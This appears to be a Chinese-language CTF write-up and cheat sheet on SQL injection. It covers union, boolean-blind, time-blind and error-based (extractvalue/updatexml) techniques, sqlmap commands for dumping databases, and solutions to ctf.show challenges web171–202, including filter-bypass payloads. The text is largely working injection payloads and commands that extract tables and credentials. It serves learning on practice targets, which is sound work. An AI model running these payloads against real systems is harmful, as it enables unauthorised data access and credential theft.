文章目录
- SQL注入基本流程
- 普通SQL注入
- 布尔盲注
- 时间盲注
- 报错注入——extractvalue()
- 报错注入——updataxml()
- Sqlmap的用法
- web 171——正常联合查询
- web 172——查看源代码、联合查询
- web 173——查看源代码、联合查询
- web 174——布尔盲注
- web 176
- web 177——过滤空格
- web 178——过滤空格
- web 179——过滤空格
- web 180——过滤空格
- web 181
- web 182
- web 201
- web 202
SQL注入基本流程
普通SQL注入
id=1' //报错,说明有注入点
id=1 and 1=1 # //正确
id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入
id=1 order by <数字> # //判断字段数
id=1 and 1=2 union select 1,2,3, ... # //查看回显点
id=1 and 1=2 union select 1,2,database(), ... # //查看数据库名
id=1 and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名') # //查看表名
id=1 and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名') # //查看字段名
id=1 and 1=2 union select 1,(select group_concat(concat(字段1,'%23',字段2)) from 数据库名.表名) # //查看字段内容
使用
union select
的时候,需要使前面一条语句错误。
关于注释符#
、-- (有个空格)
和--+
的讨论
- get请求中只能用
--+
。
url中#
是用来指导浏览器动作的,对服务器端无效;在url传输过程中,--
中的空格会被忽略。- post请求中则都可以。
布尔盲注
id=1' //报错,说明有注入点
id=1 and 1=1 # //正确
id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入
id=1 and length(database())=1 # //判断数据库名长度
id=1 and ascii(substr(database(),1,1))=98 # //猜数据库名
id=1 and (select count(table_name) from information_schema.tables where table_schema=database())=1 # // 猜表的个数
id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),0,1))=103 # // 猜第一个表名的长度
id=1 and (select+count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 # // 猜user表中的字段个数
id=1 and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=7 # //猜user表中第一个字段的长度
id=1 and ascii(substr((select column_name from+information_schema.columns where table_name='users' limit 0,1),1,1))=117 # //猜user表中第一个字段的第一个字母
id=1 and length((select user from dvwa.users limit 0,1))=5 # // 猜user表中user字段内容的长度
id=1 and ascii(substr((select user from dvwa.users limit 0,1),1,1))=97 # //猜user表中中user字段值的首字母
时间盲注
id=1 and sleep(5) # //数字型则等待5秒
id=1' and sleep(5) # //字符型则等待5秒
id=1 and if(length(database())=4,sleep(5),1) # //猜数据库名长度
id=1 and if(ascii((substr(database(),1,1)))=100,sleep(5),1) # //猜数据库名
id=1 and if(select count(table_name) from information_schema.tables where table_schema=database(),sleep(5),1)=1 # // 猜表的个数
id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),0,1))=103,sleep(5),1) # // 猜第一个表名的长度
id=1 and if((select+count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8,sleep(5),1) # // 猜user表中的字段个数
id=1 and if(length((select column_name from information_schema.columns where table_name='users' limit 0,1))=7,sleep(5),1) # //猜user表中第一个字段的长度
id=1 and if(ascii(substr((select column_name from+information_schema.columns where table_name='users' limit 0,1),1,1))=117,sleep(5),1) # //猜user表中第一个字段的第一个字母
id=1 and if(length((select user from dvwa.users limit 0,1))=5,sleep(5),1) # // 猜user表中user字段内容的长度
id=1 and if(ascii(substr((select user from dvwa.users limit 0,1),1,1))=97,sleep(5),1) # //猜user表中中user字段值的首字母
报错注入——extractvalue()
id=1' # //报错,说明有注入点
id=1 and 1=1 # //正确
id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入
id=1' and (select extractvalue(1,concat('~',(select database())))) --+ //爆出当前数据库名
id=1' and (select extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='数据库名')))) --+ //查看数据库中的表
id=1' and (select extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名')))) --+ //查看表中的字段名
id=1' and (select extractvalue(1,concat('~',(select group_concat(concat(字段1,'%23',字段2))))) --+ //查看字段内容
进行报错注入的时候,需要对
id
参数进行闭合。
报错注入——updataxml()
id=1' # //报错,说明有注入点
id=1 and 1=1 # //正确
id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入
id=1' and (select updatexml(1,concat('~ ',(select database()), '~'),1)) --+ //爆出当前数据库名
id=1' and (select updatexml(1,concat('~ ',(select group_concat(table_name) from information_schema.tables where table_schema='数据库名'), '~'),1)) //查看数据库中的表
id=1' and (select updatexml(1,concat('~ ',(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名'), '~'),1)) //查看表中的字段名
id=1' and (select updatexml(1,concat('~ ',(select group_concat(concat(字段1,'%23',字段2))), '~'),1)) --+ //查看字段内容
Sqlmap的用法
sqlmap
sqlmap -u "url" //-u选项是检测注入点
sqlmap -u "url" --dbs //--dbs选项是列出所有数据库名
sqlmap -u "url" --current-db //--current-db选项是列出当前数据库的名字
sqlmap -u "url" -D "数据库名" --tables //-D是指定一个数据库 --tables是列出这个数据库的所有表名
sqlmap -u "url" -D "数据库名" -T "表名" --columns //-T是指定表名 --columns是列出所有的字段名
sqlmap -u "url" -D "数据库名" -T "表名" -C "字段名" --dump //-C是指定字段 --dump是列出字段内容
web 171——正常联合查询
首先判断是否存在SQL注入:
id=1' # 使用单引号看报不报错,报错就说明存在SQL注入
id=1' order by 3 --+
注意:如果
id='1--+'
,这里面的注释(--+
)是不起效的。
id=-1' union select 1,2,3 --+ # union前面的查询语句必须为false,这样页面才会显示出第二个select语句的结果。
-1' union select database(),(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user') --+ # 查看数据库名、表名、字段名
-1' union select 1,2,(select group_concat(concat(username,'%23',password)) from ctfshow_web.ctfshow_user) --+ # 查看字段内容
web 172——查看源代码、联合查询
查看页面源代码,发现一个js文件。访问该文件,会发现一个查询接口/api?id=1
id=1' //报错,说明有注入点
id=1 and 1=1 # //正确
id=1 and 1=2 # //正确,说明不是数字型注入
id=1' and 1=1 # 正确
id=1' and 1=2 # //错误,说明是单引号闭合的字符型注入
id=1' order by <数字> # //判断字段数
id=-1' union select 1,2,3, ... # //查看回显点
id=-1' union select 1,2,database(), ... # //查看数据库名
id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名') # //查看表名
id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名') # //查看字段名
id=-1' union select 1,(select group_concat(concat(字段1,'%23',字段2)) from 数据库名.表名) # //查看字段内容
注意:关于
and 1=1
和and 1=2
,前者恒为真,如果and前面的语句有内容,则正常输出;后者恒为假,如果and前面的语句有内容,也不会输出。故,可以通过他们俩来判断SQL注入类型。
web 173——查看源代码、联合查询
同web172
web 174——布尔盲注
id=1' //判断是否存在SQL注入
id=1 and 1=1 # //正确
id=1 and 1=2 # //正确,说明不是数字型注入
id=1' and 1=1 # //正确
id=1' and 1=2 # //错误,说明是单引号闭合的字符型注入
id =1' and length(database())=11 --+ //通过布尔盲注猜测数据库长度
web 176
1' or 1=1 --+
web 177——过滤空格
空格被过滤,就用/**/
替换。
web 178——过滤空格
空格被过滤,/**/
也用不了,用%09
或%0b
替换。
web 179——过滤空格
空格被过滤,/**/
、%09
或%0b
也用不了,用%0c
替换。
web 180——过滤空格
空格被过滤,/**/
、+
、%09
或%0b
也用不了,用%0c
或%2b
(+的url编码)替换。
web 181
payload: 0'or(username='flag')and'1
,插入payload后语句变成:
select id,username,password from ctfshow_user where username != 'flag' and id = '0'or(username='flag')and'1' limit 1;
- 因为
and
的优先级比or
要高,故注入后:
select id,username,password from ctfshow_user where username != 'flag' and id = '0'or(username='flag') limit 1;
- 前面满足条件
id=0
的记录不存在,故该语句可简化为
select id,username,password from ctfshow_user where (0) or(username='flag')and'1' limit 1;
- 先计算
and
,再计算or
,最后得到满足username='flag'
的记录,即flag
。
web 182
payload: -1'or(username%0clike%0c'%fla%')and%0c'1
。不知道为啥这里%0c没有被过滤。
web 201
这一关开始使用sqlmap。
User-Agent
需要为sqlmap
,referer
需要为stf.show
。
一种方法是抓取数据包,让sqlmap跑数据包;另一种方法是用-u
参数指定要测试的网址,--user-agent
用来指定UA头,--referer
伪造referer。命令如下:
python sqlmap.py -r test.txt //跑数据包
python sqlmap.py -u "http://6e28402d-8f54-45bc-8a52-657ffc3c35fe.challenge.ctf.show/api/?id=1&page=1&limit=10" --user-agent sqlmap --referer ctf.show
- 跑数据包的时候,在需要跑的参数后面加
*
。-u
参数中,链接用双引号、加上协议。
web 202
--data
指定 sqlmap 以 post
方式提交数据。
python sqlmap.py -u "https://604a8386-7689-44bb-a7e1-b532cbe9ff5a.challenge.ctf.show/api/" --data "id=1" --user-agent sqlmap --referer ctf.show